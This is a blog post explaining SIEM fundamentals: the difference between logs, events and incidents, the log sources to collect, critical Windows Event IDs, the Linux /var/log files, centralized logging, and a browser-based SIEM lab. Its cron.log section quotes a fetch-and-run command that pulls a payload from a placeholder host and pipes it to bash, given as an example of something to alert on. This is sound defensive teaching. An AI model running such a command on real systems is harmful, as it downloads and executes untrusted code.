Logs, Events, and Incidents — The Three-Tier Language of SIEM

By Odai Mherat

Photo by Jakub Żerdzicki on Unsplash — Free to use under the Unsplash License

Every SIEM, every SOC, every security monitoring program runs on the same fundamental input: log data. Understanding what logs are, where they come from, how they are structured, and how they chain together into events and then incidents is not background knowledge — it is the core technical skill that separates an analyst who finds attacks from one who generates alert noise.

Today covers Module 03: Incidents, Events, and Logging. This is the module that explains what you are actually looking at in a SIEM, why the data is structured the way it is, and what every critical Windows Event ID and Linux log file means to your detection capability. I also built a full Wazuh/Splunk-style SIEM platform as the lab — live log ingestion, event ID reference, incident queue, log source map, the complete picture.

The Three-Tier Language: Log, Event, Incident

These three terms are often used interchangeably. They should not be. Each has a precise technical meaning, and understanding the distinction determines how you triage.

A log is a timestamped record of something that occurred. A raw entry from a device. A firewall log recording a denied connection. A Windows Security log recording a failed authentication. By itself, a log entry means almost nothing — it is a data point.

An event is a log entry that has been given context. An event is an observed change in the day-to-day operation of a system that may indicate a violation of security policy or the failure of a security control. A login failure is a log. A login failure at 3 a.m. from an IP address that has never logged in before, for an account that should not have remote access — that is an event. The context is what elevates the log to an event.

An incident is one or more events that collectively confirm a security violation. A single failed login is a log, then an event if context makes it suspicious. Forty-seven failed logins followed by a successful login from the same source IP — that is an incident. A brute-force attack confirmed.

The chain looks like this in practice:

LOG:       "Failed password for root from 185.234.218.48 port 52100 ssh2"
EVENT:     300+ failures from same IP in 4 minutes — threshold exceeded
INCIDENT:  SSH brute force attack — confirmed, contained, remediated

This chain is what a SIEM automates: it collects logs, applies rules to identify events, and correlates events into incidents.

Why Logs Exist — The Six Uses

Logs are not optional overhead. They serve six distinct functions that a SOC cannot perform without them.

Security incident detection. Logs are the primary evidence that something happened. Without them, there is no visibility — attacks proceed undetected until damage is visible. With them, the chain of evidence from initial access through lateral movement to exfiltration is reconstructable.

Policy violation monitoring. Every acceptable use policy violation leaves a log trace. An employee accessing executive compensation data they are not authorized for generates an Object Access event. A user installing unauthorized software generates an Application log entry.

Fraud identification. Financial fraud, data theft, and insider threat activity all leave log traces that deviate from behavioral baselines. The SOC catches these by comparing current activity against historical norms.

Operational troubleshooting. Logs document what the system was doing when it failed. System crashes, service failures, hardware errors — all recorded in logs, enabling root cause analysis.

Baseline establishment. Knowing what normal looks like requires recording it. Logs over time establish what a user’s typical login hours are, what services are normally active, what network traffic volume looks like. Deviations from baseline are detectable because the baseline was logged.

Compliance and legal. Regulatory frameworks — PCI-DSS, HIPAA, GDPR, ISO 27001 — require specific events to be logged and retained for specific periods. Logs are audit evidence that the organization is meeting its obligations.

Log Sources — Where the Data Comes From

A mature logging infrastructure collects from every component of the environment. The list is longer than most organizations realize.

Client and file server logs, Windows domain logs, database logs, mainframe logs, NAS access logs, switch logs, VLAN access logs, wireless access logs, VPN logs, IDS/IPS logs, firewall logs, web server activity logs, web cache and proxy logs, content management logs, Linux/Unix/Windows OS logs, and vulnerability scanner logs.

Logs reach the central collector via two mechanisms. Push-based — the device sends its logs to a collector continuously, using Syslog (UDP/TCP) or SNMP. Most network devices and Linux systems use this model. Pull-based — a collector queries the log source on a schedule, pulling records in the device’s proprietary format. Some security appliances require this approach.

The critical requirement: centralized logging. Local logs on individual devices are useful for troubleshooting, but they have a fatal flaw for security operations — an attacker who compromises a device can modify or delete its local logs. When logs are forwarded to a central collector the moment they are generated, local deletion does not affect the evidence held in the SIEM.

Logging Requirements — What You Actually Need to Configure

Before enabling a logging infrastructure, five questions require answers:

What to log. Not everything needs to be logged — over-logging creates noise that obscures signal. The minimum required: authentication events (success and failure), privileged account activity, object access on sensitive resources, policy changes, process creation on monitored hosts, and network connection events from security devices.

Where to store. Local storage is insufficient for a meaningful SOC. Centralized log management platforms — Elasticsearch/Kibana, Wazuh, Splunk, IBM QRadar, Microsoft Sentinel — aggregate, normalize, and enable correlation across sources.

Log format. A well-structured log entry contains: timestamp (synchronized across all sources — time skew breaks correlation), source identifier, severity level, event type, user identifier, source IP, destination IP or resource, and a human-readable description.

Retention policy. How long logs must be retained depends on regulatory requirements (PCI-DSS requires 12 months, HIPAA requires 6 years for audit logs) and forensic needs. Longer retention enables detection of slow-moving APTs that operate across months.

Access control. Logs must be protected from tampering. Only authorized personnel should be able to read logs, and no one should be able to modify them. Immutable forwarding to a separate SIEM ensures that even a compromised host cannot retroactively hide its activity.

Windows Event Logs — Architecture and Critical IDs

Photo by Stephen Dawson on Unsplash — Free to use under the Unsplash License

Windows Event Logs are the primary evidence source for everything that happens on a Windows system. The Event Viewer provides access to five log categories, each stored as an .evtx file in C:\Windows\System32\winevt\Logs\.

Security.evtx — the most critical log for SOC operations. All authentication events, privilege use, object access, and policy changes. Security logging is disabled by default — it must be explicitly enabled through Group Policy audit settings.

System.evtx — OS component events. Device driver installation, service starts and stops, system startup and shutdown, hardware errors. Key for detecting malware that installs as a Windows service.

Application.evtx — application-specific events. Antivirus detections, application crashes, database events. Useful for detecting antivirus disabling and application-layer attacks.

Setup.evtx — events occurring during installation. Less security-relevant but useful for tracking unauthorized software installation.

ForwardedEvents.evtx — events collected from other systems via Windows Event Forwarding. The mechanism for centralizing Windows logs within the Windows ecosystem.

Each event record is structured using the EVENTLOGRECORD format, containing: Length, RecordNumber, TimeGenerated, TimeWritten, EventID, EventType, NumStrings, and associated string data. The EventID is the field that determines what happened. The EventType classifies its nature: Error, Warning, Information, Success Audit, or Failure Audit.

The Critical Event IDs

These are the events a SOC analyst must recognize immediately:

EventID 4625 — Failed Logon. The brute force indicator. Status code 0xC000006A means wrong password. Status code 0xC0000064 means the user account does not exist — useful for detecting username enumeration. Threshold alerting: five or more failures from the same source IP within sixty seconds.

EventID 4648 — Logon Using Explicit Credentials. A process authenticated using stored credentials rather than the current user’s token. Common in pass-the-hash and lateral movement. The Process Name field identifies the caller — lsass.exe, powershell.exe, or wmic.exe as the caller all warrant investigation.

EventID 4688 — Process Created. With command line logging enabled, this captures every process execution and its parent. The parent-child relationship is the detection signal. Microsoft Word spawning PowerShell is not legitimate. Chrome spawning cmd.exe is not legitimate. A process executing from C:\Windows\Temp is not legitimate.

EventID 4698 — Scheduled Task Created. Malware uses scheduled tasks for persistence. The task content field shows exactly what command will execute. A task running a Base64-encoded PowerShell command from Temp is a confirmed persistence mechanism.

EventID 4720 — User Account Created. Attackers create backdoor accounts to maintain access after initial compromise is detected and cleaned. Every account creation must be traceable to a documented provisioning request.

EventID 4732 — Member Added to Security-Enabled Group. Any addition to Administrators, Domain Admins, or Enterprise Admins is a highest-priority alert. This event, combined with a prior suspicious 4688 event on the same host, confirms a privilege escalation attack.

EventID 1102 — Audit Log Cleared. This is almost exclusively an attacker action. Legitimate administrators do not clear the Security log — they configure retention. When this event fires, it means the attacker has access, knows they have generated evidence, and is destroying it. The event still logs who cleared the log, but all prior evidence is gone. Centralized log forwarding to a SIEM is the only mitigation — logs forwarded to the SIEM are not affected by local clearing.

EventID 7045 — Service Installed. Malware installed as a Windows service appears in System.evtx as Event 7045. The Service File Name field is the key indicator: a path in C:\Windows\Temp, C:\Users\<username>\AppData, or a typosquatted system directory is a confirmed malware persistence mechanism.

Linux Logs — The /var/log Structure

Linux logging is decentralized by design. Different services write to different files, and the system log daemon (syslogd or rsyslogd) routes messages to the appropriate destination based on facility and severity.

The directory structure under /var/log contains distinct files and subdirectories, each serving a specific function:

/var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/CentOS) contains every authentication event: SSH logins (successful and failed), sudo command execution, PAM authentication results, and su session events. This is the first file to check when investigating unauthorized access on a Linux system. Brute force attacks against SSH are immediately visible as repeated “Failed password for [user]” entries from the same source IP.

/var/log/syslog or /var/log/messages contains general system messages from all services and the kernel. This is the starting point for any Linux investigation — if something went wrong, this file recorded it.

/var/log/kern.log contains kernel messages including hardware events, module loading and unloading, iptables packet filtering decisions, and network interface events. Attackers who manipulate kernel modules leave traces here.

/var/log/cron.log records every scheduled task execution. Malware often adds cron entries for persistence — a cron job running curl http://external-ip/payload | bash or python3 /tmp/update.py is an immediate alert.

/var/log/httpd/ or /var/log/apache2/ contains the web server access and error logs. Every HTTP request is logged with source IP, method, URI, response code, and response size. SQL injection attempts, directory traversal, and web shell access are all visible in these logs.

Centralized Logging — The Architecture That Makes SOC Possible

Local logging has a fatal limitation for security operations: the log and the system it is logging are the same asset. If the system is compromised, the local logs can be manipulated.

Centralized logging solves this by creating a separate, protected copy of log data the moment it is generated. The architecture works in four stages: collection (agents or forwarders on each source), transport (Syslog, Beats, or vendor agents), storage (centralized log server with defined retention), and analysis (SIEM correlation engine).

The benefits beyond tamper resistance: centralized logs enable cross-source correlation. A firewall log alone cannot tell you which user was responsible for an outbound connection. Combined with the Windows Security log from the endpoint, you know exactly which user, which process, and which account made the connection. SIEM correlation connects these dots automatically.

NIST SP 800–92 describes four log management infrastructure roles: log server, log aggregator, log management tool, and log monitoring tool. In practice, a mature SOC implements all four through platforms like Wazuh, Splunk, or Elastic SIEM.

The Lab — SOC-SIEM Log Management Platform

I built a browser-based SIEM platform modeled on Wazuh, Splunk, and IBM QRadar. Open siem_log_platform.html from the repository in any browser.

The interface has a persistent left sidebar (log sources, live counts, navigation), a top search bar accepting KQL-style queries, and a time range selector.

Dashboard — six stat cards showing total events, critical alerts, high severity count, and events by source. An ingestion rate bar chart shows events per source. An event type distribution panel breaks down the 80+ events by category. A live recent alerts feed shows critical and high events with click-through to full details.

Log Viewer — the core analysis tool. Filter by source (Windows Security, Windows System, Linux Auth, Linux Syslog, Firewall, IDS/IPS, Web Server), severity (CRITICAL/HIGH/MEDIUM/INFO), or free-text KQL query (EventID:4625, host:WS-FINANCE, src_ip:185.220.101.5). Click any row for the full detail panel: all parsed fields, raw log display, event category, and SOC response guidance specific to that event ID.

Log Sources — ten reference cards covering every major log source type with filesystem paths, source descriptions, and key events to monitor.

Event ID Reference — thirteen critical Windows and Linux event IDs with full descriptions, MITRE ATT&CK technique mappings, and specific detection rules. Filter by platform. Click any card to instantly apply that Event ID as a filter in the Log Viewer.

Incident Queue — four active incidents (audit log cleared, C2 beacon, SSH brute force, domain admin group changed) with full evidence lists, step-by-step timelines, MITRE ATT&CK mappings, host and analyst assignments, and escalate/close workflow.

git clone https://github.com/Odaimherat/soc-journey
cd soc-journey/day-07/lab
# Open siem_log_platform.html in any browser

Full code: github.com/Odaimherat/soc-journey

Three Things That Matter

The timestamp is the most critical field in any log. Everything in SIEM correlation depends on time. If clocks across systems are not synchronized to an authoritative time source, correlation fails. An event that appears to happen before its trigger cannot be linked to it. NTP synchronization across all log sources is not a nice-to-have — it is a prerequisite for functional SIEM operation.

Centralized logging is not optional. EventID 1102 (Security log cleared) is the definitive proof of why local logging is insufficient for security operations. A compromised system can erase its local evidence. A centralized SIEM that received those events before the log was cleared preserves them permanently. The attacker who clears the local Windows Security log has no idea that the SIEM already has every event they were trying to hide.

Event context is everything. A single EventID 4625 (failed logon) is noise. Three hundred EventID 4625 events from the same source IP in four minutes is a brute force attack in progress. The SIEM’s value is not in recording individual events — every device does that locally. The SIEM’s value is in correlating events across sources and over time to surface patterns that no single log entry could reveal.

References

1. NIST SP 800–92, Guide to Computer Security Log Management, September 2006. https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-92.pdf
2. NIST SP 800–61r2, Computer Security Incident Handling Guide, August 2012. https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf
3. Microsoft, Windows Event Log Reference — EVENTLOGRECORD Structure. https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-eventlogrecord
4. NSA/CISA, Spotting the Adversary with Windows Event Log Monitoring, 2013. https://www.nsa.gov/ia/_files/app/spotting_the_adversary_with_windows_event_log_monitoring.pdf
5. Florian Roth, Sigma Rules — Windows Event ID Detection Rules. https://github.com/SigmaHQ/sigma
6. The Linux Documentation Project, Linux Log Files. https://tldp.org/LDP/sag/html/syslog.html
7. SANS Institute, Reading Room — Log Management. https://www.sans.org/reading-room/whitepapers/logging/
8. Graylog, What is Centralized Logging? https://graylog.org/post/what-is-centralized-logging-and-why-does-it-matter/
9. Elastic, Elastic Common Schema — Event Log Normalization. https://www.elastic.co/guide/en/ecs/current/index.html
10. Wazuh, Log Data Collection Documentation. https://documentation.wazuh.com/current/user-manual/capabilities/log-data-collection/index.html
11. MITRE ATT&CK, T1070.001 — Indicator Removal: Clear Windows Event Logs. https://attack.mitre.org/techniques/T1070/001/
12. Microsoft, Windows Event Viewer Documentation. https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/eventvwr